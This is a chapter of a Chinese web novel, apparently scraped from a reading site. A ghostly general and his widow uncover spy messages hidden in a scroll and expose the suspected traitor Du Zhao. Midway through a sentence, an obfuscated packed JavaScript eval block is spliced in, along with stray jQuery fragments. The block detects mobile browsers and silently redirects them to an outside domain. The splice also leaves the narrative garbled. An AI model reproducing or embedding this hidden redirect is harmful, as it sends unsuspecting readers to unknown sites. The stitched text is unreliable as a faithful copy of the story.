30. 细作
作品:《她是君》 杜钊背对着两人,在字画后一阵捣鼓,然而一无所获。
气得他一拳狠狠砸在墙上,低声骂了句陆婉君听不懂的话。季衍却听懂了那句话的意思。
那是匈奴语。
翻译过来,意思是疯女人。
杜钊在找什么?
是那个叫念珠的细作遗留的情报吗?
陆婉君从杜钊的神色里推断出那话肯定不是什么好话,只是不知道到底是什么意思。她想用眼神询问季衍,一抬头,季衍神色阴鸷,下颌咬紧,眼神里充斥着熊熊怒火。
为了不伤到陆婉君,他克制地握紧了拳头,拳头上青筋暴起,颤抖得厉害。
得亏现在他只剩灵魂,若是换成平常,这力道足以让他掌心出血。
杜钊搜寻无果,狠狠地一甩袖袍,原路退出。翻窗的动作一气呵成,流畅矫健,丝毫看不出他是个文弱书生。
窗框轻轻合拢,字画重重击打墙面,发出一声脆响。
陆婉君抬脚想出去,腰间传来一股大力,季衍将她重新拽回怀里按进胸前。窒息感和季衍的气息同时覆盖陆婉君,她头晕脑胀地想推开,季衍附耳提醒:
“他还没走。”
陆婉君吓出了一身冷汗,索性往季衍怀里缩了缩,小心地从季衍怀中回头。
怕杜钊杀个回马枪,季衍干脆带她往书架深处躲。陆婉君半抱着季衍强壮臂膀,在他呼吸的间隙里,细细倾听其他声音。
数息后,窗户外果然出现了人影。杜钊推开窗户,声音冷冷地传进屋内:
“谁在那?出来!”
陆婉君不敢说话,身形轻微战栗。此时此刻,她萌生了一个危险的想法。
那个想法一旦落地,便生根发芽,旺盛生长,一发不可收拾。她的呼吸因此而越来越急促,可大脑却前所未有的清醒,目光死死锁定墙上的字画。
她的不安被季衍所觉察,季衍动作极轻地摸了摸陆婉君后颈,在她掌心里写字:
“别怕,我在。”
双方就这么僵持了半刻钟,杜钊率先耐心告罄。身为公主府的半个主人,他对府邸情况多少心中有数,或许只是他神经敏感过度罢了。
又等了一会,杜钊离开了。
季衍动作轻柔地松开陆婉君,蹑手蹑脚来到窗前,仗着自己身为冤魂一般人看不见,探出头去打量。
在他的感知中,杜钊的确离开了。
季衍回头,“阿婉,出来吧。”
走出来的陆婉君扶着书架,脚步有些发软。她从前只是个养尊处优的贵妇人,这几个月的遭遇,极大地增长了她的胆量。
不妨碍她下意识的脚软。
陆婉君来到字画前,踮脚想摘下它。一旁季衍见状,给她搬了把椅子,靠着身高轻松摘下字画,交给陆婉君。
字画背后的墙上有个暗格,季衍打开后,空无一物。他目测了一下尺寸,又伸手进去摸了摸,一股蜂蜜的甜香自指尖缓缓散开,神情微妙。
这地方原先放着的东西,如无意外,应是蜡丸。
所谓蜡丸,是细作常用的一种工具。将情报写于布帛、纸张上,放入蜡丸内封好,防潮防磨损,能够极大限度地完整保存情报内容。
连蜡丸都有,果然是细作。
季衍正想着,身后一声清响。陆婉君撬开了轴头,中空的天杆*里,一小卷发黄纸条醒目地吸引了她的视线。
陆婉君用小指勾出来,又如法炮制,撬开了地杆*的轴头,地杆里也有一卷小小的发黄纸条。
两人展开纸条,相互比对。
一张写着“九月初二,洛阳道以西八十里,陈泽。”
另一张写着:“十一月十八,洛阳道以南四十里,杜豪。”
陈泽和杜豪都是前两次的督粮官,第一次督粮队全军覆没,陈泽落得个横死匪手的下场;
第二次督粮队只堪堪逃回百人,而杜豪本该与其他人一起入罪,可最后的结局,竟是皇帝看在杜家的面子上,将他罢免回家,安然而退!
季衍的脸色登时如狂风暴雨将至的天,阴沉可怖,满腔怒火几欲喷薄而出。
陆婉君微微闭眼,似乎努力平复自己当下翻江倒海的愤慨情绪,可每想一次,她都会听见一个声音质问:
为什么?
洛阳杜氏富可敌国,权倾朝野;杜钊身为皇家驸马,除了仕途,人生一切坦荡。
他们是国家的肱骨,生在大乾、长在大乾,皇帝待他们不薄啊!
季衍率军在前线奋战,才有他们如今在后方安稳的生活,匈奴到底开出了什么样的筹码,才能打动杜氏?
季衍满腔怒火无处可去,他重重喘着气,一把夺过字画,重新复位后沉声问:“阿婉,现在该怎么办?”
“先回房。”
陆婉君让他拿上屋内遗留的琴。
回到屋内。
“三郎,你把琴擦干净。”陆婉君道。季衍的君子六艺只学了个皮毛,保养古琴这种事,还得陆婉君来。
季衍一向都是手比脑快,一边抹去尘土,一边抱怨:“阿婉。我现在真想去揍那个杜钊!”
“不可。”陆婉君摸摸他毛茸茸的脑袋,“那可是大公主的心头好,你把人打坏了,大公主哭天抢地找我要人怎么办?”
“那可是个叛国贼!”季衍嘀咕:“怎么什么香的臭的都往被窝里扒拉。”
“阿婉,这事,你到底怎么想的?”他问。
“我有几个困惑。”
陆婉君分析道:
“首先,念珠房里有情报不假。但情报这种东西,留久了便失去效用,眼下已是一月,留下这些过时的情报做什么?这是没传出去,还是截下来的情报?”
“其次,念珠在公主面前得脸是不错,但公主根本没有权力打听这些信息。那么念珠的情报从哪来的?她又打算将情报传给谁?”
“还有,杜钊在这件事里又算什么?他是单纯色胆包天地纳妾,又后悔了来找那份文书;抑或是他本就和念珠勾结传递情报,这才让公主产生了误会?”
季衍越听越糊涂:“所以,咱们现在其实什么都不知道?”
“也不尽然。”陆婉君看向他:“三郎,你刚刚是不是听懂了他说的话?”
“嗯,他说的是匈奴语,意思是疯女人。”季衍抱着擦干净的琴放到陆婉君面前,“阿婉,你拿这琴要做什么?”
“我只是有个猜想,但不确定。三郎,你会写匈奴的文字吗?”
季衍挠头:“会写几个字,长得跟鬼画符一样。”
“按我说的写。”陆婉君拿了纸笔,附耳在季衍耳边嘀咕了一句。明明屋里没人,陆婉君偏偏不正大光明地说,非得要贴得极近,故意用撩拨人的语气念出词句。
熟悉的馨香掠过鼻尖,流苏轻摆,叮叮咚咚地,叩开季衍的心门。
干、干什么呀这是?
季衍耳根一阵阵发热,脸颊泛起红晕,莫名地心跳加快。
他赶紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935340|176890||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
按陆婉君的要求写好了纸条。陆婉君卷好字条,满意地回身调校古琴。徒留季衍立在书桌后,又是惆怅又是悸动,说不明白那种感觉。
陆婉君调了一下午的琴,总算校准了音节,轻轻一拨,音色悦耳。天色渐暗,大公主打发人请她去用膳。在这些身外之物上,大公主从不计较。
季衍跟在陆婉君身边,还在喋喋不休抱怨:“杜子阳真不是个好东西,我竟然没看出来他是装的。早知道当年就不给他出头了。”
那是一桩年少的意气仗。
上京的勋贵子弟日子富庶,闲来无事就喜欢找些乐子,狎妓斗鸡赌博,什么乱七八糟的习惯都有。季衍很不喜欢这种风气,宁可混迹市井,也不愿和这群人同流合污。
彼时,皇帝传召洛阳知府杜宇入京述职——杜钊的父亲,他便带上了年少的杜钊上京增长见识。杜钊在某日午后,稀里糊涂被人哄到了小教武场,那儿是勋贵子弟玩生死斗的地方。
名字叫的凶险,其实不过是一帮半大小子好面子,觉得有些事说不清楚就用拳头解决。还取了个名字,彰显他们的男子气概。
因在接风席上文才出众,得了几家大人的青眼,回去后多有鞭策家族子弟。杜钊便被其他人联合起来给了个下马威,季衍恰好路过,见杜钊被一群人欺负得还不了手,干脆进去把为首的那个揍了一顿。
事了拂衣去,深藏功与名。
季三郎率性天真,随性而为,一贯如此。
现在,他一想到自己救了个叛国贼,就气得心肝脾肺一阵阵地疼,悔恨自己当初没顺手把杜钊揍死。
陆婉君左耳进、右耳出,早就对季衍喜欢碎碎念的小毛病免疫了。
今日晚宴还是安排在湖心亭,大公主这次换了个花样,叫人引来温泉水,大冬天里搞出了曲水流觞。袖珍的摆盘顺水而下,带来美食佳肴。
又有人往里撒入鲜花花瓣,温热的水汽遇上娇艳鲜花,激发出了花的芬芳,湖心亭内花香扑鼻,叫人闻了便觉神清气爽。
季衍一下又被分散了注意力,看得眼睛都直了:“真好玩!”
原来还能用这种法子玩曲水流觞,回去就整一个,哄阿婉喝酒!
陆婉君本想催他回扳指,转头瞥见大驸马杜钊从另一侧入口进入湖心亭,款款现身。
她眯了眯眼,低声道:“三郎。”
季衍歪头,一眼捕捉到了杜钊的存在,后槽牙顿时磨得咯咯响。
“动手。”陆婉君下令。
季三郎说干就干,抬手弹出一枚石子,目标直指杜钊脚踝。石子骤然弹射而出,狠狠撞中杜钊,隔着冬日厚实的靴子依然传来强猛的力道,毫无防备的杜钊痛得脸色一白,脚底一个踩空往前扑去。
这一下若是摔个结实,杜钊这张将大公主迷得神魂颠倒的脸非得破相不可。
陆婉君一眨不眨地盯住杜钊的动作,生怕错过一丝一毫。
“子阳!?”异动突起,坐在主位上的大公主惊呼。
“驸马!?”一旁小厮不消大公主指挥,蜂拥而上。
说时迟,那时快。
眼看鼻尖即将撞上台阶,杜钊双手撑地原地起跳,向前空转,硬生生靠着掌力和过人的腰力缓冲了失重感。
碧水灰的锦袍随身而动,舞出道道绚烂夺目的流光,好似一弯落水银月,霞光潋滟。
当他稳稳当当落地时,迎接他的,是大公主困惑惊诧的询问:
“子阳,你不是不会武功吗?”